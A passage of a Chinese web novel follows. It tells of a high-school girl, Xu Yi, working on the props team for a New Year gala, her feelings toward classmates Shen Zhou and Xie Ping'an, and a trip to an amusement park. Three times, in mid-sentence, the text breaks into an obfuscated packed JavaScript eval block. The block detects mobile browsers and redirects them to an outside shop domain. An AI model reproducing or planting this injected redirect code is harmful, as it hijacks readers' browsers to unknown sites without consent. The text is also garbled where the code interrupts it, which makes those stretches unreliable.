每年的元旦晚会由实验班的老师操刀,学生会各部门承办。不同的老师负责,则会形成每一届不同的审美气质,决定什么节目能够上台,什么节目被pass。
这一届的主题是“对话古今”。那一年的元旦晚会主负责人是实验2班的语文老师简心,一个略显严厉的中年女老师,带的班级语文平均分常年第一。一个元旦晚会有非常多的事情要做,虽然大多数都由各个学生部门承担了,但是简心会从自己所带的班级选择一些学生参与到元旦晚会的筹办中。
秉持着自主报名的原则,简心会建议一些班上较为内向的同学参与到元旦晚会的流程中,但是参不参与选择权在个人。三个月的时间说长也不长,说短也不短,内向一点的同学大多要么刚和周边的同学熟悉,要么还感觉没有完全融入,参与集体项目可以迅速让同学们凝结起来。
虽然说每个同学的个性都应该被尊重,但是在高中这样的培养人格的关键时期,适当的情感联结可以帮助学生培养自信,况且,很多陪伴一生的友谊,就是从高中时期开始的。
简老师私下也建议了许意报名,宜城一中没有这样的活动,许意本来是不想参与的,但是简老师很严厉,许意有些不敢拒绝。但是唯一让许意感到安慰的是,谢平安主动报名了,两个人还都被分在了道具组,负责元旦晚会上半场的道具维护和增补。
道具组相较于后勤组和导播组更为轻松,主要是根据不同节目的彩排时间出借道具,并在最后回收道具,做好相应的登记。
在道具组的那一段时间,许意和谢平安很忙,有的时候旁边的同学一边排练,两个人一人一张小板凳在旁边赶作业。
报名节目的大多数是实验班和艺术班,因为元旦之后还有期末考试,在第二年的文理分班中权重比较大,平行班一般一个班级只出一个节目。
许意和谢平安负责的是元旦晚会前半场的道具,有相声、小品、舞蹈。
那一届彩排许意最深刻的节目有两个,一个是单人相声《宣城一中有什么》,另一个就是话剧《新楚汉争霸》。
《宣城一中有什么》是谢平安的节目,作为第一个语言类的开场节目,许意担心谢平安会紧张忘词,每天都监督谢平安背词,过了很多年依然影响很深刻。
关于《新楚汉争霸》,之所以影响深刻并不是因为这话剧有个新字,而是因为里面的一段琵琶配乐,没错,就是沈舟的《十面埋伏》。
因为《十面埋伏》在话剧里主要是结尾处,因此一般前半段沈舟都处于无所事事的状态。而且,当时话剧导演还是个力求完美的女生,一场二十分钟的话剧要排练一个半小时,一个个地抠细节,一句句教台词,精准到语气,许意当时看着那个戴着厚框眼镜的女生,镜片反射着智慧的光芒,但就算是演起刘邦那股流氓气,整洁的校服跟着表情一起随意不羁起来。就连沈舟这样的琵琶十级,在具体进曲的时间上也被指导了好几次。
后来才知道沈舟和话剧导演江珊珊是发小,被生拉硬拽过来的,俗称特别出演。
但是这话剧需要沈舟的时间不过几分钟,关于曲艺的技巧上倒是没有什么可以纠正的,但是导演很严格,虽然后出场,但也要留在现场感受氛围,以便进入状态。
百无聊赖的沈舟只能在大礼堂闲逛,后来便就揪住了两个在排练室后台赶作业的临班同学。
也不知道是哪一天,沈舟估计是闲着没事干,听着两人争论答案,一不小心就加入了,后来就开始负责辅导起了这两人的作业。
许意心想,沈舟不仅不高冷,还很热情,真是一个大好人。
有的时候,碰上《新楚汉争霸》剧组排练时,许意和谢平安作业写完了,两人开始下五子棋。
为了哄着谢平安陪她下五子棋,许意总是赢几局,然后又偷偷输几局。
闲着的沈舟又加入了,和沈舟下不一样,许意认真了。
许意可是一个下五子棋还研究棋谱的人。
由于沈舟和许意下的次数不多,至今保持着零胜率。这也吸引了不少实验1班的同学和许意下五子棋,然后许意从管道具的变成了“很会下五子棋”的人。
谢平安回去对此很是得意,在宿舍耀武扬威,已知我对你的胜率为百分之五十,你对沈舟胜率为百分之百,那么我对沈舟的胜率也为百分之百,我估计我们两是全校最会下五子棋的两个人。
许意看着她这么高兴,立刻俯首称臣,拥护这位宣城一中的“五子棋大王(204宿舍版)”。
后来渐渐熟悉了一点,沈舟给同班同学准备补给的同时,还会给她和谢平安准备上一份。
许意和谢平安在道具组搬过道具,做过登记和采购,还给剧组补过衣服。
因为《新楚汉争霸》剧组打戏比较多,衣服有损耗。在一次打戏中,直接裂开了个大口子。
为了不耽误剧组排练,也为了让旁边困得睁不开眼的谢平安早点回宿舍,许意自告奋勇跑回宿舍,拿了针线,一针一针给补上去了。
那时候沈舟还趴在桌子上,侧着头一双大眼睛雾蒙蒙地看着她,感叹道:“你缝得好仔细。”
“没有,这就是很普通的锁针。”许意一边缝衣服,一边解释道。
那人一动也没动,声音慵懒,“就是很厉害啊!”
许意不说话了,那人一直盯着她,她只好盯着衣服。
旁边的谢平安一个劲扒拉她,埋着头一边睡一边问,“许意,你说我们什么时候能回去?”
许意还没来得及开口,一道声音截去了话头。
“要不你先回去,我和许意一块收道具。”旁边人的声音悦耳,一个个字飘进许意通红的耳朵里。
“真的吗?”谢平安抬起头,两颗混沌的眼珠子回神,“许意,那我先回去,我发誓我先回去我把宿舍衣服收了,热水接了。”
许意看着这人困
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057636|194898||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得眼睛都睁不开了,还非要跟自己发誓,笑了,说:“好啊,那我回去要检查哦!”
“领导遵命!”谢平安敬了个礼,风卷残云地将自己和许意的东西打包带走,毫不犹豫地溜走了。
前台是熙攘的人声,台后是安静的两人,一人补着衣服,像窗台边心灵手巧的织女,一个托腮,轻悄悄地看着。
排练完之后,已经十点钟了,这个时间对于住校生来说也不算早了。
许意就带着沈舟一起推着小推车回道具室。
“你要不要先回去,这个时间不早了,这段路我很熟悉。”许意体贴道。
“不用,我和林舒就住在学校外面,不着急,而且我觉得这很有意思。”一片轻快。
虽然不知道为什么很有趣,但是许意也觉得轻松起来。
道具室在后勤楼的走廊尽头,天花板那一排的灯泡已经坏了,一个也不亮。前几天许意一直抱怨学校那么有钱,居然连个灯都懒得修。
而这时,两只手轻轻地碰在一起,有点烫。
“你害怕吗?”沈舟问。
许意也不知道该回答什么,却小声说道,“有点。”
两只手叠在了一起,一种温暖至上而下,晕染着每一寸黑夜。
走过那条黑色长廊,许意第一次和沈舟说了再见,也时常在排练室后台相见。
在《新楚汉争霸》剧组杀青那天,沈舟还给她两一人发一支玫瑰,上面还写着“杀青快乐,感谢每一位幕后人员!”
每一张都是沈舟手写的。
即使没有《十面埋伏》的一战成名,沈舟凭借人格魅力也会有很多人喜欢她。
玫瑰花成了标本,连带着谢平安那一朵。
许意开始觉得加入道具组是个正确的决定,热闹,人多的热闹,挥洒青春的热闹。
日子洋洋洒洒地过去,这是一段忙碌而幸福的时光。
最后一次彩排结束,简老师将班上参与元旦晚会的同学召集在一起,去学校附近的馆子吃了一顿饭。
一起凑在一起参与了元旦晚会的筹办,也算是一起干过大事的交情了,场子不用热,七八个学生聊得很开心。
散场时,一向不苟言笑的简老师看着他们,像家中慈爱的长辈,说道:“这段时间辛苦你们了,你们的表现都非常好,你们肯定能够站好明天的最后一班岗,在这里老师提前祝你们新年快乐。”
说完,便从大衣口袋里掏出一叠红包。
人群里发出“哇”的一声,气氛又热了起来。
明明就是其中的一员,许意却觉得很不真实,自己好像是一个旁观者,目睹着一切幸福和欢乐的发生。
一切都静静地发生在一盏白炽灯下,泛黄。
直到简老师穿过一个又一个学生,轻轻地摸了摸她的头,告诉她她很棒,然后将一支红包递给许意。
许意居然有了想要流泪的冲动。
可她没有哭,低着头看了看红包,抬起头,很真诚的微笑。
那一段洋洋洒洒,肆意挥霍的青春,被很多人珍惜着,接住了。
9. 元旦晚会
元旦晚会如约而至。
因为谢平安有节目,许意就让她安心准备节目了,找个道具组的同学换岗问题应该也不大。于是许意和唐鹤一起负责上半场的布景和清场。唐鹤高他们一级,高二文科实验班的,是他们道具组的组长。
元旦晚会的工作人员没法全程看完节目,虽然每年有记录录像,但和现场观看相去甚远,因此学校每年会给工作人员定制一批纪念卡。
纪念卡整体是淡紫色,是学校墙上趴着的一大丛紫藤萝。字底是每年元旦晚会的主题,“对话古今”四个大字呈现浅灰色,笔画游走,形如一条龙。每一张纪念卡卡面不相同,上面印着不同节目表演同学的动画小人,宣城一中的校徽则是印在人物衣服上。
工作证随机分发,许意拿到的那一张是谢平安的节目,为了给她留作纪念,便进行了交换,换成了一张《圆舞曲》。
许意最想要的还是《新楚汉争霸》,唐鹤倒是有一张,但是许意心知肚明,组长看起人非常稳重,工作细致严谨,但此人每次看见隔壁班的江珊珊都走不动道,偶然对视一眼就匆匆低头,耳朵红得和天边的火烧云一样。夺人所好,并非君子之行。
元旦晚会很自由,学校也不检查手机了,于是许意带了手机准备无聊的时候就在后台下五子棋。
许意的手机还是之前许智伟淘汰的三手手机,屏幕上裂开了一道缝隙,不过不影响使用。一开始是弟弟许卓的,后来许卓觉得这手机拿出去在同学之间没面子,吵着让家里买一个新的,后来也就自然而然到了许意手里,用来和家里联系联系和给许意发生活费。
手机的基本的功能都还正常,平时没事的时候许意就用手机听听歌或者上网找一些学习视频,通过听网课补补学习上的短板,现在许意还留着那部手机,顺便手机屏幕给修了,里面还有很多许意珍藏的照片。
虽然拿不到《新楚汉争霸》的纪念卡,但是许意也没有太多遗憾,用手机给它存了个档,和自己一块合了个影。
后台看演出有好有坏,好处是离得很近,坏处是只能站着。
谢平安出场早,许意还躲在两侧厚厚的幕布后面,准备给她拍个完整视频。
一开始,许意笑得很开心,谢平安在台上一点岔子也没出,显然是一个好头。
这样的谢平安很特别,很耀眼,仿佛生命不是一方书桌,还有广阔无边的诗与远方。虽然也没有什么表演经历,但是不露怯,一个人熬夜写稿子,跟着手机学表演技巧,自己化妆,上了舞台整个人神采奕奕,焕然一新。单人相声难度大,谢平安还是引得全场喝彩,给元旦晚会热了个场。
许意莫名觉得这样的谢平安离自己有些远了,或者说宣城一中的每个人都离自己很远,他们那种从灵魂身处所自然而然散发出来的自信,像是闪闪发光的钻石,这是许意不曾有过之物。
即使谢平安和她走在同一条路上,住在同一片屋檐下,和自己分享生活点滴,可是她最快乐闪耀的时刻,其实是与自己无关的。
并肩前行,从来不意味着我们是一样的人。
她第一次意识到自己有些敏感了,可是敏感既不是上天的礼物,也不是上天的惩罚。
一有风吹草动,爱河成为苦海,大道成为歧途。
只能假装不在乎,许意知道自己是在自寻烦恼,可她控制不了。
许意依旧为谢平安鼓掌,乃至熟练地将视频传给谢平安,还夸她很耀眼。
可是她知道自己并不真正感到快乐。
这种心情在《新楚汉争霸》表演时达到顶峰。
幕布之下的青春啊,旁观者的青春,你该用什么进行装点?
旁观者就是旁观者,无论许意怀着何种心情看待这一切,一切都将如期上演。
狂欢是一个人的孤独,孤独是自我选择下的狂欢。
新年前夕的失意者,应和着他人之欢喜,以免显得怪异。
许意觉得自己很奇怪,为什么不开心,你来到一个新的世界,见识到不同的人,人生不就是一场体验吗?
你所走过的每一步难道不值得珍视吗?即便一路走来这条路上只剩下你一个人。
在《新楚汉争霸》表演将近尾声的时候,琵琶声起,一切肃杀冷峻,许意短暂忘却自己那颗酸胀的心,谢平安却来找她了。
谢平安身上还穿着那件深蓝色大褂,摘去了平时那副银边眼镜,一双大眼睛像葡萄,睫毛忽闪,像洋娃娃。
“许意,我爸妈来看我了,本来说明天陪你出去玩,我就不去了,还有我放在楼下的洗衣房的衣服你也帮我晾了吧。哦,对,昨天宿舍楼不是轮到我值日了嘛。我排练忘记没打扫,你也帮帮我吧!”谢平安把脸倚在许意肩上,像猫儿一样撒娇,很亲呢。
许意没说好还是不好,克制住想要抽出自己胳臂的欲望,“你的粉底全部蹭我衣服上了。”
“嘻嘻,你脾气这么好,肯定不会和我介意的。”谢平安没当回事,继续蹭着。
脾气好吗,许意明明觉得自己又生气又伤心,一点也不想说话,可是这样做太过分了。于是许意支起一个微笑,说道,“没关系,你去吧,到时候我帮你收拾。”
“我就知道你最好,明天回来我给你带好吃的。”谢平安张开双臂,想给许意一个大大的拥抱。
许意终于感到厌烦,躲在一边,静静地看着她,可能是意识到自己的目光太冰冷,又移到了表演台上。
沈舟正弹完最后一个音,准备离场,目光恰好对上了。
是一袭淡蓝色旗袍,像是一具活色生香的瓷器。
瓷器还朝她一笑。
许意漠然,心却一松,目光又错开,投向了观众席。
“嗯,你回去注意安全。”许意放弃了这场无声的对峙。
谢平安没察觉出什么异样,很肆意地跑开,还回头朝许意一笑。
舞台上的每一个人庄重,脸上洋溢着自由的气息,《新楚汉争霸》也谢幕了。
剩下几个便是歌舞类节目了,没什么道具需要准备,唐鹤说有事需要先走,许意了然,等过了这几个节目再和其他同学交接。
闲来无事,翻出手机,还停留在五子棋小程序,弹出一句红底黑字,“WIN!”。
许意退出页面,翻了下去,点开一个微信,头像是一朵夏日的荷花,最近的聊天记录还是转账记录。
许意打了又删,最终什么也没说。
只有一天假期的话,许意应该就不会去了,回去一天的话,花去两趟车票钱,也待不上几个小时,父母也没有问她回不回家,估计回家还要被说浪费钱,还是等到快过年的时候再回家好了。
许意把手机收了起来,打起精神盯完最后几个节目。
终于结束了,本来许意是想下半场留在观众席看节目,可是自己并不想混入热闹的人群中,况且还答应了帮谢平安打扫宿舍楼,还是早点回去为宜。
许意决定从礼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057637|194898||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
堂的小门出去,那条路离宿舍近,而且人少。
一出门,冷空气扑面而来,外面并不像室内那么温暖,居然还轻轻地飘起了雪花。
下雪了,许意望着雪花,它们从遥远的天空飘落下来。
一晃眼,却看见沈舟。沈舟还站着礼堂大门口,手捧着鲜花,身上依旧是一身旗袍,身体微微颤抖,眼睛却亮晶晶的,像灯光下飞舞的六角形冰晶。
“许意!”声音很亮也很远。
停下脚步,回头。许意想要一个人悄无声息地回宿舍的愿望落空了。
万物闪烁,雪花轻轻落在沈舟身上,周身是鹅黄色的暖光。
“提前祝你新年快乐!”脸红扑扑的,分不清是因为高兴还是冷。
许意没有回话,却走得很慢很慢,像是走在又深又厚的雪里。
“你不冷?”许意低头盯了自己的围巾一瞬,想到了蓝雨伞,想到了因为淋雨感冒的林舒。
“有点,不过林舒应该马上就来了。”新年即将来临,好像赐予了眼前这个人无限活力。
取下了围巾,许意把围巾放在了那一捧鲜花上。
“我回宿舍了,路上应该不冷。”许意顿了一下,“也祝你新年快乐。”
捧着花的手没有动,沈舟歪头一笑,脸轻轻靠在那一团毛线上。
“那我走了。”许意的耐心恢复一点。
“沈舟!”林舒出现了。
沈舟回过头,一晃,围巾掉了。
许意又走进了雪里,脚步很轻很轻,雪却连绵不绝,纷纷扬扬。
到了宿舍一楼,许意先是去洗衣房取了衣服,一一晾晒,然后又拿起楼道里那把扫把,开始打扫楼道。
这些很快也做完了,许意又去洗澡,公共浴室水声淅淅沥沥,很清晰。
洗完澡,元旦没作业,许意又翻开手机玩了会五子棋,输了好几盘,等级也掉了一级,就没耐心继续玩了。
一看时间,终于十点钟,可是这栋宿舍楼却不如往日明亮,原来大多数人都回家了。
无事可做的许意只好躺下,脑子里很混乱。
这是许意第一次一个人待在一个空旷的空间里,在黑夜中。
许意久违地想起了父母。
大多数时候,许意觉得她和父母之间是彼此不需要的,只是血缘将原本陌生的人绑在了一起,告诉他们要相亲相爱。
可是等到世界上的灯全部熄灭的时候,她又觉得,如果父母可以牵着她的手告诉她不要害怕,也许再长的夜路她也能够一个人勇敢走过。
元旦晚会前夕时那种被需要的感觉悄然散去,一颗心空空荡荡,自己还真是全世界最不重要的人。
夜晚的时光很静谧,夜深一寸,时间向前一步。
许意想到了很多人,沈舟、林舒、谢平安,《圆舞曲》中如同天使降临人间一样的女孩,还有其他很多人。
估计现在这个夜晚她们都应该感到很幸福。
泪水一点点漫延,眼前雾气连天。
可是来不及难过,祝福却从天而降。
“新年快乐!”“新年快乐!”
有男声有女声,人不多但热烈,在新年来临的这一个炸开。
如同流星,正砸中了躺在宿舍床上一动不动的许意。
这栋宿舍楼不再静谧,时间有了清晰的刻度。
新年真的来了。
也许新的一年,许意心想,我应该拥抱所有。
10. 旧雪新晴
雪落了一整个晚上。
外面是积雪,昨日已经全部被埋葬,今日已是白雪茫茫。
一晚上积雪很多,踩着雪里,吱呀吱呀地响。
因为围巾已经借出去了,许意给自己找了一个毛线帽,蓝色的。
把自己裹得严严实实,虽然没人陪着自己,许意决定还是出去玩会,其实自己本来就一个人习惯了。昨日的多愁善感已经经过睡眠净化,无论如何,一切还是应该照常进行。
许意决定去游乐园,在此之前,她从来没有去过。
在去之前,许意先在网上查阅了攻略,在网上买了一个打折券,票价三分之一,时长六个小时。
要是花去三百块钱买一张全价券,许意还是不舍得,其实生活费是足够的,但是每个月给生活费都会延迟几天,她一个人在外面纯花钱,家里靠着爸爸一个人的工资,家里紧紧巴巴也能过。因此除了要买教辅资料,许意很少提前开口要生活费,平时月初更要做好预算,以免月底捉襟见肘。
为了让这六个小时玩得尽兴,她还上网看看不同项目的排队时间,一些刺激类的项目排队时间都不算太长,旋转木马转得慢慢悠悠的,这类用来出片还要等老长一段时间的,许意不感兴趣。
许意还准备点中午的干粮,以免去了景区别无选择,只能忍痛大出血。
早上九点钟,许意把自己裹得严严实实,毛线帽稳稳当当,两个小毛球垂在肩膀两侧,勤劳地给自己穿了一双厚绒袜子,把鞋子塞得满满当当。许意觉得这样的穿着很有安全感。街道的积雪残存,一枚枚行驶的熨斗往来不绝,地面加热升温,一片融化的污脏雪水。但相较于搭乘公交车,地铁还是更为安全便捷。
地铁很拥挤,许意心想,今天不是周末吗,居然依旧有早高峰。成年人真辛苦,不知道自己长大是不是也会成为辛苦的大人。
人挤着人,不少人衣着光鲜亮丽,眼珠子盯着那一小块屏幕,脸上却没有太多的笑容,面上是疲惫无神,精致的妆容也掩盖不住。
这道地铁究竟要把人送到什么地方,飞驰的速度,快于地面上的汽车,里面的人挤在一起,互不交流,到站了各自下车,有始有终。
地铁网络的全覆盖,是交通便捷生活便利的象征,可以提升市民的幸福感。
许意想到了上个月地理测验的人文部分,这是自己写下的答案,当时觉得很标准,现在却有些生涩难懂。
一切都以人类所不能预知的速度发展,人们踏入自己建造的地铁,去往每一个有始有终的地方,他们为什么不幸福?
想不明白,地铁很拥挤,许意连手都不能拔出来,夹在两片羽绒服中间,这不是一个高中生应该去思考的问题。
十五分钟后,宝光中心到站,一拨人乌乌泱泱,涌出地铁,一节车厢空旷下来,零零星星地立着几个人。
三十分钟,八站地铁,许意在听泉站下了地铁。
大约是郊区,一出地铁站,便是一座木制拱形门,覆着些许白雪。两侧高大的梧桐在两三米处改了道,伸出连绵的枝桠,在中央接了头,想来春夏之时必然是绿意葱浓。
走了三五分钟,便是宣城欢乐谷。
大,这是许意的第一印象。一道门从左向右,拉开大约十米的距离。门后是一个大草坪,有不少卡通人偶,晃晃脑袋,摇摇手,音响里放着不知名的喜庆歌曲,旁边镶着两个一甩一甩的黄色充气长条人。
远处是巨大的宣城欢乐谷五个大字,巨幅宣传牌后是四分之三的摩天轮。
门外有不少四五十岁的阿姨在售卖矿泉水和一些小孩喜欢的玩具,溢价严重。
许意没什么需要买的东西,她出门前全部备齐了,直接拿出手机准备排队扫码入场。
这会儿气温逐渐高了起来,地面上已经看不见多少积雪了。
秉持一个由远及近的原则,以免玩累了还要绕一大圈再出来,许意直奔最里面的过山车,但这看见那大直角的时候,一条车蛇一样的窜了下去,引来“啊”声一片。许意看着从过山车上下来的人,个个头晕目眩,披头散发,面色苍白,手脚无力,也有人脸上是神清气爽的兴奋,搀着旁边柔弱无力的朋友,坏笑道还要再来一次。
脑中还闪现过不少安全带不牢固,人直接从天迫降。经过严格的评估,许意害怕自己好好地上去,下来就成了无民事行为能力人,遂放弃,转战旁边的海盗船。
海盗船排了两轮就排上了,从中间到两侧,体验感逐渐上升。排到许意时,她便直奔最后一排,不过这海盗船从下面看起来慢悠悠的,一上去,那条安全带忽然感觉松松垮垮的,随着海盗船的起伏,人像一只头伸伸缩缩的乌龟。许意感觉有点刺激但不多,很适合她。
旁边是摩天轮,这摩天轮当初宣称是某个地区最大的摩天轮,下面排队排了一小撮人,大概排了三十分钟才排上了。
一般一个吊舱两个人,大多数是情侣,或者是家长带着一个小孩,如果一个人的话就是一个人一个吊舱,在最高处俯瞰城市风景。
排到许意的时候是一个红色吊舱,她一个人一间。
单单是坐着的话,吊舱很稳,转的很缓慢,几乎不太能感觉到上升,直至到了最高处,其实最多能看见整个欢乐谷,没有什么特别的。
看了五分钟风景,许意觉得很一般。
正准备转战跳楼机,迎面却走来三个人。
其中两个人她倒是认识,还有一个个子稍微低一点的女生,很有活力的样子。
迎面赶上,许意只能选择打个招呼。
“沈舟,林舒,你们好。”等人走近,许意说道。
“新年好许意,你一个人来吗?”先开口的是林舒。
“嗯,平安爸妈来看她了。”许意心中莫名,可能是摩天轮太无聊了,以至于心情并不高涨。
“那你玩这个摩天轮吗?我觉得这个很浪漫,正好四个人,两个人一个间。”沈舟提议道。
这个庞然巨物浪漫吗?许意觉得这和乘电梯上天台没什么区别,真的要再来一遍吗?
“你们围巾和帽子这么搭,要不你们一个吊舱,我和林舒一个。”那个小个子女生补充道。
看她们都有此意,许意选择顺从,至少是和沈舟在一块。
于是一行人又加入了队列,开始等待。
她们又聊起来昨天的元旦晚会,许意没有太多感受,也接不上太多话。
时不时点点头,其实已经神游到九霄云外了。
等了大概半个小时,终于轮到了她们四个。
林舒她们两个在前,她和沈舟在后面。
许意让沈舟先进去,自己坐另一侧,她发现吊舱外侧视野好点。
“许意,要不我们坐一侧吧,两个人安全点。”沈舟冲她眨眨眼。
现在不是很安全吗,这玩意转得特别慢。
但是许意没有直说,“坐两侧更好保持平衡吧。”
“我坐过很多次,其实差不多。”沈舟胸有成竹。
估计是这样吧,其实坐哪边区别也没多大。
许意尽量克制动作,她觉得这个人说两个人更有安全感,应该挺害怕吊舱晃动的。
一个人一侧宽敞明亮,两个人就显得有些拥挤。
“我带了拍立得,我们要不合个影吧,我记得我们还没有合照。”沈舟笑得很开心。
其实是有的,不过她不知道。沈舟挑了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057638|194898||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下角度,调整姿势的时候,膝盖总是轻轻蹭着许意的。
沈舟穿的是百褶裙,不及膝盖。头发卷卷的,睫毛也卷卷的,像个精致的洋娃娃。
自己是洋娃娃旁边的大粽子。
因为离得很近,沈舟的发丝还轻轻地划过许意的下巴,许意觉得有点痒。
“滴”的一生,相机吐出一张彩虹边相纸。
“再拍一张。”沈舟又换了个姿势,歪头托脸,手轻轻靠在许意肩上。
许意觉得自己浑身僵硬,但还是扯着嘴角,展示她的剪刀手。
两张相纸被捂热,上面的图像显现出来,滤镜复古。
“那张好看点?”沈舟举着两张照片,一左一右,中间是她那种白皙的脸。
其实感觉都差不多,一张沈舟不笑,酷一点,一张笑了,更甜美。
许意指了指那张更甜美的。
“那这张给你。”沈舟笑嘻嘻的,把那张拍立得递给了自己。
愣了一下,许意接过相纸,呆呆地看着,嘴里喃喃,“这张确实挺好看的。”
五分钟确实挺短的,手里握着珍贵的照片,许意静静地和沈舟看这这个欢乐谷,是不一样的风景。
下了摩天轮,沈舟提议要不去鬼屋,许意心中窃喜,碰上了同道中人,但也没有直接符合。
但林舒表示自己不太敢去鬼屋,另一个女生提议要不去坐旋转木马,林舒表示同意,她今天这一身确实和旋转木马很配。
沈舟应该不去鬼屋了。
“许意你去鬼屋吗,你们两先去玩旋转木马吧。”沈舟说道。
许意如愿以偿。但鬼屋并不如许意想象中惊险,相比里面的npc,许意更害怕里面满地乱爬的游客,叫得比鬼还凄惨。
“许意,你不害怕?”沈舟声音颤抖,甚至听上去有些虚弱。
一只血淋淋的手悬了下来。沈舟感觉身体被抽空,用手蒙着了眼睛。
许意睁开握住自己手臂的npc,指着那一团黑乎乎的头发说,“因为他们都是真人,很有职业操守,不会伤人。”
女鬼拨开头发,露出一张血肉模糊的脸,心想,你的评价才显得我没有职业操守。
“你要是害怕,我走前面。”看见大家都四处流窜,许意觉得自己应当在前面开路,把机关先给触发一遍。
“不要,我们走一块。”沈舟一把抱住许意的裹着羽绒服的手臂,很厚实,让人很有安全感。
“好。”许意没有多说,开始专心找机关,带着沈舟避开。
白骨森然,血手抓脚踝,女鬼摸脖子,时不时鬼哭人嚎。
一路上有人紧紧抓着许意,许意感觉自己拖着一辆人。
不远处,天光大亮。
原来这鬼屋这么小。
两人出来的时候,林舒她们已经在外面等了。
鬼屋里面人多,热,出来了就冷,只是手腕那一块热乎乎的。
许意轻转手腕,把自己手腕挪出,上面还有一排指印,沈舟还一副惊魂未定的样子。
“林舒,我猜的对吧,沈舟每次都吓成这副样子。”小个子女生一脸得意。
林舒不搭理她。
沈舟回过神来,“好啊,你俩那我打赌呢!”
“现在旋转木马现在人不多。”林舒岔开话题。
“那我们去吧。”沈舟拉着许意就走,不理会后面的嘲笑。
沈舟想拍照,许意对旋转木马也不感兴趣,就在一旁给她拍照。
沈舟一个劲夸她拍的好,但许意心中明白,拍照第一位靠得永远是颜值。
不过许意依旧很开心。
木马流年,旧雪新晴,眼前的她,肆意闪耀。